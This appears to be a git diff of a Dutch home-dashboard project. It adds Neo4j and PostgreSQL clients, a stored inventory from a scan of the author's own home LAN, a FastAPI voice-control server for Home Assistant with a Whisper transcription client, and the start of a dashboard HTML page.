MATCH (s:ScanRun {id: $scan_id})
|
||||||
|
MERGE (d)-[:FOUND_IN]->(s)
|
||||||
|
""",
|
||||||
|
ip=ip, hostname=hostname, mac=mac, os_guess=os_guess,
|
||||||
|
timestamp=timestamp, scan_id=scan_id,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Upsert Port nodes + HAS_PORT relaties
|
||||||
|
for port in open_ports:
|
||||||
|
banner = banners.get(port, "")
|
||||||
|
try:
|
||||||
|
import socket
|
||||||
|
service = socket.getservbyport(port, "tcp")
|
||||||
|
except Exception:
|
||||||
|
service = "unknown"
|
||||||
|
|
||||||
|
session.run(
|
||||||
|
"""
|
||||||
|
MERGE (p:Port {number: $port, protocol: 'tcp'})
|
||||||
|
SET p.service = $service,
|
||||||
|
p.banner = CASE WHEN $banner <> '' THEN $banner ELSE p.banner END
|
||||||
|
WITH p
|
||||||
|
MATCH (d:Device {ip: $ip})
|
||||||
|
MERGE (d)-[:HAS_PORT]->(p)
|
||||||
|
""",
|
||||||
|
port=port, service=service, banner=banner, ip=ip,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Verwijder oude HAS_PORT relaties voor poorten die niet meer open zijn
|
||||||
|
if open_ports:
|
||||||
|
session.run(
|
||||||
|
"""
|
||||||
|
MATCH (d:Device {ip: $ip})-[r:HAS_PORT]->(p:Port)
|
||||||
|
WHERE NOT p.number IN $open_ports
|
||||||
|
DELETE r
|
||||||
|
""",
|
||||||
|
ip=ip, open_ports=open_ports,
|
||||||
|
)
|
||||||
|
|
||||||
|
summary = (
|
||||||
|
f"Scan '{scan_id}' geimporteerd: {len(devices)} devices, "
|
||||||
|
f"{total_ports} open poorten."
|
||||||
|
)
|
||||||
|
logger.info(summary)
|
||||||
|
return summary
|
||||||
|
|
||||||
|
|
||||||
|
# ── Query functies ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def get_all_devices() -> list[dict]:
|
||||||
|
"""Alle bekende devices met hun poorten."""
|
||||||
|
driver = get_driver()
|
||||||
|
with driver.session() as session:
|
||||||
|
result = session.run(
|
||||||
|
"""
|
||||||
|
MATCH (d:Device)
|
||||||
|
OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port)
|
||||||
|
RETURN d.ip AS ip, d.hostname AS hostname, d.mac AS mac,
|
||||||
|
d.os_guess AS os_guess, d.first_seen AS first_seen,
|
||||||
|
d.last_seen AS last_seen,
|
||||||
|
collect({port: p.number, service: p.service, banner: p.banner}) AS ports
|
||||||
|
ORDER BY d.ip
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
return [record.data() for record in result]
|
||||||
|
|
||||||
|
|
||||||
|
def get_device(ip: str) -> dict | None:
|
||||||
|
"""Eén device inclusief poorten."""
|
||||||
|
driver = get_driver()
|
||||||
|
with driver.session() as session:
|
||||||
|
result = session.run(
|
||||||
|
"""
|
||||||
|
MATCH (d:Device {ip: $ip})
|
||||||
|
OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port)
|
||||||
|
RETURN d.ip AS ip, d.hostname AS hostname, d.mac AS mac,
|
||||||
|
d.os_guess AS os_guess, d.last_seen AS last_seen,
|
||||||
|
collect({port: p.number, service: p.service, banner: p.banner}) AS ports
|
||||||
|
""",
|
||||||
|
ip=ip,
|
||||||
|
)
|
||||||
|
record = result.single()
|
||||||
|
return record.data() if record else None
|
||||||
|
|
||||||
|
|
||||||
|
def get_devices_by_os(os_guess: str) -> list[dict]:
|
||||||
|
"""Zoek devices op OS-substring."""
|
||||||
|
driver = get_driver()
|
||||||
|
with driver.session() as session:
|
||||||
|
result = session.run(
|
||||||
|
"""
|
||||||
|
MATCH (d:Device)
|
||||||
|
WHERE d.os_guess CONTAINS $os
|
||||||
|
RETURN d.ip AS ip, d.hostname AS hostname, d.os_guess AS os_guess
|
||||||
|
ORDER BY d.ip
|
||||||
|
""",
|
||||||
|
os=os_guess,
|
||||||
|
)
|
||||||
|
return [record.data() for record in result]
|
||||||
|
|
||||||
|
|
||||||
|
def get_devices_by_port(port: int) -> list[dict]:
|
||||||
|
"""Devices met een specifieke open poort."""
|
||||||
|
driver = get_driver()
|
||||||
|
with driver.session() as session:
|
||||||
|
result = session.run(
|
||||||
|
"""
|
||||||
|
MATCH (d:Device)-[:HAS_PORT]->(p:Port {number: $port})
|
||||||
|
RETURN d.ip AS ip, d.hostname AS hostname, p.service AS service,
|
||||||
|
p.banner AS banner
|
||||||
|
ORDER BY d.ip
|
||||||
|
""",
|
||||||
|
port=port,
|
||||||
|
)
|
||||||
|
return [record.data() for record in result]
|
||||||
|
|
||||||
|
|
||||||
|
def get_scan_history(limit: int = 5) -> list[dict]:
|
||||||
|
"""Recente scanruns."""
|
||||||
|
driver = get_driver()
|
||||||
|
with driver.session() as session:
|
||||||
|
result = session.run(
|
||||||
|
"""
|
||||||
|
MATCH (s:ScanRun)
|
||||||
|
RETURN s.id AS id, s.timestamp AS timestamp, s.network AS network,
|
||||||
|
s.hosts_active AS hosts_active
|
||||||
|
ORDER BY s.timestamp DESC
|
||||||
|
LIMIT $limit
|
||||||
|
""",
|
||||||
|
limit=limit,
|
||||||
|
)
|
||||||
|
return [record.data() for record in result]
|
||||||
|
|
||||||
|
|
||||||
|
def get_network_summary() -> dict:
|
||||||
|
"""High-level netwerkoverzicht."""
|
||||||
|
driver = get_driver()
|
||||||
|
with driver.session() as session:
|
||||||
|
result = session.run(
|
||||||
|
"""
|
||||||
|
MATCH (d:Device)
|
||||||
|
OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port)
|
||||||
|
RETURN count(DISTINCT d) AS total_devices,
|
||||||
|
count(DISTINCT p) AS total_ports,
|
||||||
|
collect(DISTINCT d.os_guess) AS os_types
|
||||||
|
"""
|
||||||
|
)
|
||||||
|
return result.single().data()
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
"""
|
||||||
|
PostgreSQL client voor het Home Dashboard.
|
||||||
|
Connecteert naar Synology PostgreSQL 192.168.1.211:5433.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from contextlib import contextmanager
|
||||||
|
|
||||||
|
import psycopg2
|
||||||
|
import psycopg2.pool
|
||||||
|
import psycopg2.extras
|
||||||
|
|
||||||
|
import config
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
_pool: psycopg2.pool.ThreadedConnectionPool | None = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_pool():
|
||||||
|
global _pool
|
||||||
|
if _pool is None:
|
||||||
|
_pool = psycopg2.pool.ThreadedConnectionPool(
|
||||||
|
minconn=2,
|
||||||
|
maxconn=10,
|
||||||
|
host=config.PG_HOST,
|
||||||
|
port=config.PG_PORT,
|
||||||
|
user=config.PG_USER,
|
||||||
|
password=config.PG_PASSWORD,
|
||||||
|
dbname=config.PG_DATABASE,
|
||||||
|
)
|
||||||
|
logger.info("PostgreSQL pool aangemaakt (%s:%s/%s)",
|
||||||
|
config.PG_HOST, config.PG_PORT, config.PG_DATABASE)
|
||||||
|
return _pool
|
||||||
|
|
||||||
|
|
||||||
|
@contextmanager
|
||||||
|
def get_conn():
|
||||||
|
"""Context manager voor een PostgreSQL connectie."""
|
||||||
|
pool = get_pool()
|
||||||
|
conn = pool.getconn()
|
||||||
|
conn.autocommit = False
|
||||||
|
try:
|
||||||
|
yield conn
|
||||||
|
except Exception:
|
||||||
|
conn.rollback()
|
||||||
|
raise
|
||||||
|
finally:
|
||||||
|
pool.putconn(conn)
|
||||||
|
|
||||||
|
|
||||||
|
def query(sql: str, params: tuple | dict | None = None, fetch: str = "all"):
|
||||||
|
"""Voer een query uit en retourneer resultaten."""
|
||||||
|
with get_conn() as conn:
|
||||||
|
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
|
||||||
|
cur.execute("SET search_path TO dashboard, public;")
|
||||||
|
cur.execute(sql, params or ())
|
||||||
|
if fetch == "all":
|
||||||
|
return [dict(row) for row in cur.fetchall()]
|
||||||
|
elif fetch == "one":
|
||||||
|
row = cur.fetchone()
|
||||||
|
return dict(row) if row else None
|
||||||
|
elif fetch == "none":
|
||||||
|
conn.commit()
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def execute(sql: str, params: tuple | dict | None = None) -> int:
|
||||||
|
"""Voer een INSERT/UPDATE/DELETE uit, retourneer rowcount."""
|
||||||
|
with get_conn() as conn:
|
||||||
|
with conn.cursor() as cur:
|
||||||
|
cur.execute("SET search_path TO dashboard, public;")
|
||||||
|
cur.execute(sql, params or ())
|
||||||
|
conn.commit()
|
||||||
|
return cur.rowcount
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
"""
|
||||||
|
Scanresultaten van 2026-05-09 — 192.168.1.0/24.
|
||||||
|
20 actieve hosts + 2 handmatig toegevoegd (.211 Synology, .235 Home Assistant).
|
||||||
|
"""
|
||||||
|
|
||||||
|
SCAN_RESULTS = [
|
||||||
|
{"ip": "192.168.1.1", "hostname": "setup.ui.com", "mac": "D8:B3:70:93:B1:AB",
|
||||||
|
"os_guess": "Router/Gateway (UniFi Dream Machine)", "open_ports": [22, 53], "banners": {}},
|
||||||
|
{"ip": "192.168.1.2", "hostname": "ESP_5FC20A.localdomain", "mac": "84:0D:8E:5F:C2:0A",
|
||||||
|
"os_guess": "ESP32 IoT", "open_ports": [], "banners": {}},
|
||||||
|
{"ip": "192.168.1.6", "hostname": "vaultwarden.localdomain", "mac": "",
|
||||||
|
"os_guess": "Linux (Vaultwarden)", "open_ports": [22, 8000], "banners": {}},
|
||||||
|
{"ip": "192.168.1.7", "hostname": "roborock-vacuum-a51.localdomain", "mac": "",
|
||||||
|
"os_guess": "Roborock Stofzuiger", "open_ports": [], "banners": {}},
|
||||||
|
{"ip": "192.168.1.21", "hostname": "Fatima-Laptop.localdomain", "mac": "F8:59:71:C2:60:E6",
|
||||||
|
"os_guess": "Windows Laptop (SMB+RPC)", "open_ports": [135, 139, 445], "banners": {}},
|
||||||
|
{"ip": "192.168.1.24", "hostname": "unifi.localdomain", "mac": "",
|
||||||
|
"os_guess": "UniFi Controller", "open_ports": [80, 443, 8080, 8443, 9443],
|
||||||
|
"banners": {80: "HTTP/1.1 301 Moved Permanently", 443: "HTTP/1.1 400 Bad Request", 8080: "HTTP/1.1 400"}},
|
||||||
|
{"ip": "192.168.1.25", "hostname": "pve-scripts-local.localdomain", "mac": "",
|
||||||
|
"os_guess": "Linux (Proxmox Scripts)", "open_ports": [22], "banners": {}},
|
||||||
|
{"ip": "192.168.1.29", "hostname": "ESP_D11B9B.localdomain", "mac": "D8:F1:5B:D1:1B:9B",
|
||||||
|
"os_guess": "ESP32 IoT", "open_ports": [], "banners": {}},
|
||||||
|
{"ip": "192.168.1.91", "hostname": "APWoonkamer.localdomain", "mac": "",
|
||||||
|
"os_guess": "UniFi AP Woonkamer", "open_ports": [22, 80],
|
||||||
|
"banners": {80: "HTTP/1.1 302 Moved Temporarily"}},
|
||||||
|
{"ip": "192.168.1.113", "hostname": "ESP_8C428C.localdomain", "mac": "C4:4F:33:8C:42:8C",
|
||||||
|
"os_guess": "ESP32 IoT", "open_ports": [], "banners": {}},
|
||||||
|
{"ip": "192.168.1.118", "hostname": "kassa-dev.localdomain", "mac": "",
|
||||||
|
"os_guess": "Linux (Kassa Dev + PostgreSQL)", "open_ports": [22, 5432, 8000], "banners": {}},
|
||||||
|
{"ip": "192.168.1.125", "hostname": "US-16-150W.localdomain", "mac": "",
|
||||||
|
"os_guess": "UniFi Switch 16-150W", "open_ports": [22], "banners": {}},
|
||||||
|
{"ip": "192.168.1.142", "hostname": "linkwarden.localdomain", "mac": "",
|
||||||
|
"os_guess": "Linux (Linkwarden)", "open_ports": [22, 80],
|
||||||
|
"banners": {80: "HTTP/1.1 200 OK"}},
|
||||||
|
{"ip": "192.168.1.164", "hostname": "APHodeifa.localdomain", "mac": "",
|
||||||
|
"os_guess": "UniFi AP Hodeifa", "open_ports": [22, 80],
|
||||||
|
"banners": {80: "HTTP/1.1 302 Moved Temporarily"}},
|
||||||
|
{"ip": "192.168.1.166", "hostname": "precision.localdomain", "mac": "",
|
||||||
|
"os_guess": "Windows Desktop (SMB+RPC)", "open_ports": [135, 445], "banners": {}},
|
||||||
|
{"ip": "192.168.1.174", "hostname": "precision.localdomain", "mac": "",
|
||||||
|
"os_guess": "Windows Desktop (SMB+RPC)", "open_ports": [135, 139, 445], "banners": {}},
|
||||||
|
{"ip": "192.168.1.178", "hostname": "ESP_8C481A.localdomain", "mac": "C4:4F:33:8C:48:1A",
|
||||||
|
"os_guess": "ESP32 IoT", "open_ports": [], "banners": {}},
|
||||||
|
{"ip": "192.168.1.179", "hostname": "FlexminiSerre.localdomain", "mac": "",
|
||||||
|
"os_guess": "UniFi Flex Mini (Serre)", "open_ports": [22], "banners": {}},
|
||||||
|
{"ip": "192.168.1.219", "hostname": "", "mac": "F8:4E:17:47:87:4D",
|
||||||
|
"os_guess": "Media/Docker Server (onbekend)", "open_ports": [80, 8008, 8443, 9000],
|
||||||
|
"banners": {80: "HTTP/1.1 404 Not Found"}},
|
||||||
|
{"ip": "192.168.1.227", "hostname": "docker.localdomain", "mac": "",
|
||||||
|
"os_guess": "Linux (Docker Host)", "open_ports": [22, 8000], "banners": {}},
|
||||||
|
# ── handmatig toegevoegd (niet in ICMP-scan maar bevestigd actief) ──────
|
||||||
|
{"ip": "192.168.1.211", "hostname": "synology.localdomain", "mac": "",
|
||||||
|
"os_guess": "Synology NAS (Docker + Neo4j)", "open_ports": [5000, 49153],
|
||||||
|
"banners": {5000: "Synology DSM Web UI"}},
|
||||||
|
{"ip": "192.168.1.235", "hostname": "homeassistant.localdomain", "mac": "",
|
||||||
|
"os_guess": "Home Assistant", "open_ports": [8123],
|
||||||
|
"banners": {8123: "Home Assistant API"}},
|
||||||
|
]
|
||||||
@@ -0,0 +1,280 @@
|
|||||||
|
"""
|
||||||
|
FastAPI web server voor de Home Assistant Voice Control webinterface.
|
||||||
|
|
||||||
|
Biedt endpoints voor:
|
||||||
|
- Audio upload → transcriptie → HA actie
|
||||||
|
- Tekstcommando's
|
||||||
|
- Entity state opvragen
|
||||||
|
- Statische bestanden (frontend)
|
||||||
|
|
||||||
|
Start met:
|
||||||
|
uvicorn src.web_server:app --host 127.0.0.1 --port 8765
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from fastapi import FastAPI, File, UploadFile, Form, HTTPException
|
||||||
|
from fastapi.middleware.cors import CORSMiddleware
|
||||||
|
from fastapi.staticfiles import StaticFiles
|
||||||
|
from fastapi.responses import FileResponse, JSONResponse
|
||||||
|
import pydantic
|
||||||
|
|
||||||
|
from src.ha_client import HAClient
|
||||||
|
from src import whisper_client
|
||||||
|
from src.dashboard_api import router as dashboard_router
|
||||||
|
import config
|
||||||
|
|
||||||
|
# ── logging ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
logging.basicConfig(
|
||||||
|
level=logging.INFO,
|
||||||
|
format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
|
||||||
|
)
|
||||||
|
logger = logging.getLogger("web-server")
|
||||||
|
|
||||||
|
# ── app ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
app = FastAPI(
|
||||||
|
title="HA Voice Control",
|
||||||
|
description="Webinterface voor spraakgestuurde Home Assistant bediening",
|
||||||
|
version="1.0.0",
|
||||||
|
)
|
||||||
|
|
||||||
|
# CORS — sta externe toegang toe (voor nginx proxy / aparte frontend hosting)
|
||||||
|
app.add_middleware(
|
||||||
|
CORSMiddleware,
|
||||||
|
allow_origins=config.CORS_ORIGINS,
|
||||||
|
allow_credentials=True,
|
||||||
|
allow_methods=["*"],
|
||||||
|
allow_headers=["*"],
|
||||||
|
)
|
||||||
|
|
||||||
|
ha = HAClient()
|
||||||
|
|
||||||
|
|
||||||
|
# ── pydantic modellen ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
class CommandRequest(pydantic.BaseModel):
|
||||||
|
text: str
|
||||||
|
|
||||||
|
|
||||||
|
class LightControlRequest(pydantic.BaseModel):
|
||||||
|
entity_id: str
|
||||||
|
action: str = "toggle" # turn_on, turn_off, toggle
|
||||||
|
brightness: int | None = None
|
||||||
|
color_name: str | None = None
|
||||||
|
|
||||||
|
|
||||||
|
class ServiceRequest(pydantic.BaseModel):
|
||||||
|
domain: str
|
||||||
|
service: str
|
||||||
|
entity_id: str | None = None
|
||||||
|
|
||||||
|
|
||||||
|
# ── API routes ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/api/health")
|
||||||
|
async def health():
|
||||||
|
"""Health check endpoint."""
|
||||||
|
return {"status": "ok", "ha_url": config.HA_URL}
|
||||||
|
|
||||||
|
|
||||||
|
@app.post("/api/transcribe")
|
||||||
|
async def transcribe_audio_endpoint(audio: UploadFile = File(...)):
|
||||||
|
"""Upload audio, transcribeer met Whisper en voer uit via Home Assistant.
|
||||||
|
|
||||||
|
Accepteert WAV audio via multipart/form-data.
|
||||||
|
Retourneert de transcriptie en het HA-resultaat.
|
||||||
|
"""
|
||||||
|
if not audio.content_type or "audio" not in audio.content_type:
|
||||||
|
# Sta ook application/octet-stream toe (sommige browsers sturen dit)
|
||||||
|
logger.info("Content-Type is %s, doorgaan...", audio.content_type)
|
||||||
|
|
||||||
|
try:
|
||||||
|
audio_bytes = await audio.read()
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Fout bij lezen audio")
|
||||||
|
raise HTTPException(400, f"Kan audio niet lezen: {e}")
|
||||||
|
|
||||||
|
if len(audio_bytes) == 0:
|
||||||
|
raise HTTPException(400, "Geen audio ontvangen (lege upload)")
|
||||||
|
|
||||||
|
logger.info("Audio ontvangen: %d bytes", len(audio_bytes))
|
||||||
|
|
||||||
|
# Transcriptie
|
||||||
|
try:
|
||||||
|
text = await whisper_client.transcribe(audio_bytes)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("Transcriptie mislukt")
|
||||||
|
return JSONResponse(
|
||||||
|
{"error": f"Transcriptie fout: {e}", "text": "", "ha_result": None},
|
||||||
|
status_code=500,
|
||||||
|
)
|
||||||
|
|
||||||
|
if not text.strip():
|
||||||
|
return {
|
||||||
|
"text": "",
|
||||||
|
"ha_result": None,
|
||||||
|
"message": "Geen spraak gedetecteerd",
|
||||||
|
}
|
||||||
|
|
||||||
|
# Stuur naar Home Assistant conversation agent
|
||||||
|
try:
|
||||||
|
ha_result = await ha.process_conversation(text)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("HA conversation agent fout")
|
||||||
|
return {
|
||||||
|
"text": text,
|
||||||
|
"ha_result": None,
|
||||||
|
"error": f"Home Assistant fout: {e}",
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
"text": text,
|
||||||
|
"ha_result": ha_result,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@app.post("/api/command")
|
||||||
|
async def text_command(req: CommandRequest):
|
||||||
|
"""Stuur een tekstcommando naar de Home Assistant conversation agent."""
|
||||||
|
if not req.text.strip():
|
||||||
|
raise HTTPException(400, "Leeg commando")
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = await ha.process_conversation(req.text.strip())
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception("HA command fout")
|
||||||
|
raise HTTPException(500, f"Home Assistant fout: {e}")
|
||||||
|
|
||||||
|
return {"text": req.text, "ha_result": result}
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/api/lights")
|
||||||
|
async def list_lights():
|
||||||
|
"""Retourneer alle lampen met hun huidige status."""
|
||||||
|
try:
|
||||||
|
lights = await ha.list_lights()
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Home Assistant fout: {e}")
|
||||||
|
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
"entity_id": l.get("entity_id"),
|
||||||
|
"state": l.get("state"),
|
||||||
|
"friendly_name": (l.get("attributes", {}) or {}).get("friendly_name", ""),
|
||||||
|
"brightness": (l.get("attributes", {}) or {}).get("brightness"),
|
||||||
|
"color": (l.get("attributes", {}) or {}).get("rgb_color"),
|
||||||
|
}
|
||||||
|
for l in lights
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
@app.post("/api/light/control")
|
||||||
|
async def control_light(req: LightControlRequest):
|
||||||
|
"""Bedien een specifieke lamp."""
|
||||||
|
try:
|
||||||
|
result = await ha.control_light(
|
||||||
|
req.entity_id,
|
||||||
|
req.action,
|
||||||
|
req.brightness,
|
||||||
|
req.color_name,
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Fout bij bedienen lamp: {e}")
|
||||||
|
|
||||||
|
return {"success": True, "result": result}
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/api/entities")
|
||||||
|
async def list_entities(domain: str | None = None):
|
||||||
|
"""Retourneer entities, optioneel gefilterd op domein."""
|
||||||
|
try:
|
||||||
|
entities = await ha.list_all_entities(domain)
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Home Assistant fout: {e}")
|
||||||
|
|
||||||
|
# Samenvatting teruggeven om response beheersbaar te houden
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
"entity_id": e.get("entity_id"),
|
||||||
|
"state": e.get("state"),
|
||||||
|
"friendly_name": (e.get("attributes", {}) or {}).get("friendly_name", ""),
|
||||||
|
}
|
||||||
|
for e in entities
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/api/entity/{entity_id}")
|
||||||
|
async def get_entity(entity_id: str):
|
||||||
|
"""Haal de volledige state van één entity op."""
|
||||||
|
try:
|
||||||
|
state = await ha.get_entity_state(entity_id)
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Home Assistant fout: {e}")
|
||||||
|
|
||||||
|
return state
|
||||||
|
|
||||||
|
|
||||||
|
@app.post("/api/service")
|
||||||
|
async def call_service(req: ServiceRequest):
|
||||||
|
"""Roep een willekeurige Home Assistant service aan."""
|
||||||
|
target = {"entity_id": req.entity_id} if req.entity_id else None
|
||||||
|
try:
|
||||||
|
result = await ha.call_service(req.domain, req.service, target=target)
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Service fout: {e}")
|
||||||
|
|
||||||
|
return {"success": True, "result": result}
|
||||||
|
|
||||||
|
|
||||||
|
# ── Dashboard API ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
app.include_router(dashboard_router)
|
||||||
|
|
||||||
|
|
||||||
|
# ── statische bestanden (frontend) ──────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/")
|
||||||
|
async def index():
|
||||||
|
"""Serveer de hoofdpagina (voice control)."""
|
||||||
|
return FileResponse(config.STATIC_DIR / "index.html")
|
||||||
|
|
||||||
|
|
||||||
|
@app.get("/dashboard")
|
||||||
|
async def dashboard():
|
||||||
|
"""Serveer het Home Dashboard."""
|
||||||
|
return FileResponse(config.STATIC_DIR / "dashboard.html")
|
||||||
|
|
||||||
|
|
||||||
|
# Mount static dir voor CSS/JS/favicon
|
||||||
|
if config.STATIC_DIR.exists():
|
||||||
|
app.mount("/static", StaticFiles(directory=str(config.STATIC_DIR)), name="static")
|
||||||
|
|
||||||
|
|
||||||
|
# ── entry point ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
import uvicorn
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Starten web server op %s:%d ...", config.WEB_HOST, config.WEB_PORT
|
||||||
|
)
|
||||||
|
uvicorn.run(
|
||||||
|
"src.web_server:app",
|
||||||
|
host=config.WEB_HOST,
|
||||||
|
port=config.WEB_PORT,
|
||||||
|
reload=False,
|
||||||
|
log_level="info",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
"""
|
||||||
|
Whisper speech-to-text client.
|
||||||
|
Ondersteunt zowel lokale faster-whisper als de OpenAI API.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import io
|
||||||
|
import logging
|
||||||
|
import tempfile
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import config
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# ── lazy imports ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
_whisper_model = None
|
||||||
|
|
||||||
|
|
||||||
|
def _get_local_model():
|
||||||
|
"""Laad (en cache) het lokale faster-whisper model."""
|
||||||
|
global _whisper_model
|
||||||
|
if _whisper_model is not None:
|
||||||
|
return _whisper_model
|
||||||
|
|
||||||
|
from faster_whisper import WhisperModel
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Laden van faster-whisper model '%s' op device '%s'...",
|
||||||
|
config.WHISPER_MODEL,
|
||||||
|
config.WHISPER_DEVICE,
|
||||||
|
)
|
||||||
|
_whisper_model = WhisperModel(
|
||||||
|
config.WHISPER_MODEL,
|
||||||
|
device=config.WHISPER_DEVICE,
|
||||||
|
compute_type="int8", # efficient voor CPU; "float16" voor GPU
|
||||||
|
)
|
||||||
|
logger.info("Whisper model geladen.")
|
||||||
|
return _whisper_model
|
||||||
|
|
||||||
|
|
||||||
|
# ── public API ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
async def transcribe(audio_bytes: bytes) -> str:
|
||||||
|
"""Transcribeer audio (WAV/MP3) naar tekst.
|
||||||
|
|
||||||
|
Retourneert de herkende tekst.
|
||||||
|
"""
|
||||||
|
if config.WHISPER_MODE == "openai":
|
||||||
|
return await _transcribe_openai(audio_bytes)
|
||||||
|
else:
|
||||||
|
return await _transcribe_local(audio_bytes)
|
||||||
|
|
||||||
|
|
||||||
|
async def _transcribe_local(audio_bytes: bytes) -> str:
|
||||||
|
"""Lokale transcriptie via faster-whisper."""
|
||||||
|
model = _get_local_model()
|
||||||
|
|
||||||
|
# Schrijf audio naar een tijdelijk bestand (faster-whisper werkt met paden)
|
||||||
|
with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as tmp:
|
||||||
|
tmp.write(audio_bytes)
|
||||||
|
tmp_path = Path(tmp.name)
|
||||||
|
|
||||||
|
try:
|
||||||
|
segments, info = model.transcribe(
|
||||||
|
str(tmp_path),
|
||||||
|
language="nl", # Nederlands als voorkeurstaal
|
||||||
|
beam_size=5,
|
||||||
|
)
|
||||||
|
logger.info(
|
||||||
|
"Whisper detecteerde taal: %s (kans: %.2f)",
|
||||||
|
info.language,
|
||||||
|
info.language_probability,
|
||||||
|
)
|
||||||
|
|
||||||
|
text = " ".join(seg.text.strip() for seg in segments)
|
||||||
|
logger.info("Transcriptie: %s", text)
|
||||||
|
return text
|
||||||
|
|
||||||
|
finally:
|
||||||
|
tmp_path.unlink(missing_ok=True)
|
||||||
|
|
||||||
|
|
||||||
|
async def _transcribe_openai(audio_bytes: bytes) -> str:
|
||||||
|
"""Transcriptie via de OpenAI Whisper API."""
|
||||||
|
import openai
|
||||||
|
|
||||||
|
client = openai.AsyncOpenAI(api_key=config.OPENAI_API_KEY)
|
||||||
|
|
||||||
|
# OpenAI verwacht een bestands-object
|
||||||
|
audio_file = io.BytesIO(audio_bytes)
|
||||||
|
audio_file.name = "audio.wav"
|
||||||
|
|
||||||
|
transcript = await client.audio.transcriptions.create(
|
||||||
|
model="whisper-1",
|
||||||
|
file=audio_file,
|
||||||
|
language="nl",
|
||||||
|
response_format="text",
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.info("OpenAI transcriptie: %s", transcript)
|
||||||
|
return transcript.strip()
|
||||||
@@ -0,0 +1,950 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="nl">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Home Dashboard</title>
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
--bg: #0a0e14;
|
||||||
|
--surface: #131820;
|
||||||
|
--surface2: #1a202c;
|
||||||
|
--border: #262d38;
|
||||||
|
--text: #cdd6e0;
|
||||||
|
--text-dim: #6b7280;
|
||||||
|
--accent: #5c9eff;
|
||||||
|
--accent2: #7c3aed;
|
||||||
|
--danger: #f85149;
|
||||||
|
--success: #3fb950;
|
||||||
|
--warning: #d29922;
|
||||||
|
--orange: #f0883e;
|
||||||
|
--radius: 10px;
|
||||||
|
--radius-sm: 6px;
|
||||||
|
--transition: 0.15s ease;
|
||||||
|
}
|
||||||
|
* { margin:0; padding:0; box-sizing:border-box; }
|
||||||
|
body {
|
||||||
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
|
||||||
|
background: var(--bg); color: var(--text);
|
||||||
|
min-height: 100vh; display: flex;
|
||||||
|
}
|
||||||
|
::-webkit-scrollbar { width: 6px; }
|
||||||
|
::-webkit-scrollbar-track { background: var(--bg); }
|
||||||
|
::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; }
|
||||||
|
|
||||||
|
/* ── Sidebar ──────────────────────────── */
|
||||||
|
.sidebar {
|
||||||
|
width: 220px; background: var(--surface);
|
||||||
|
border-right: 1px solid var(--border);
|
||||||
|
display: flex; flex-direction: column;
|
||||||
|
padding: 20px 0; flex-shrink: 0;
|
||||||
|
}
|
||||||
|
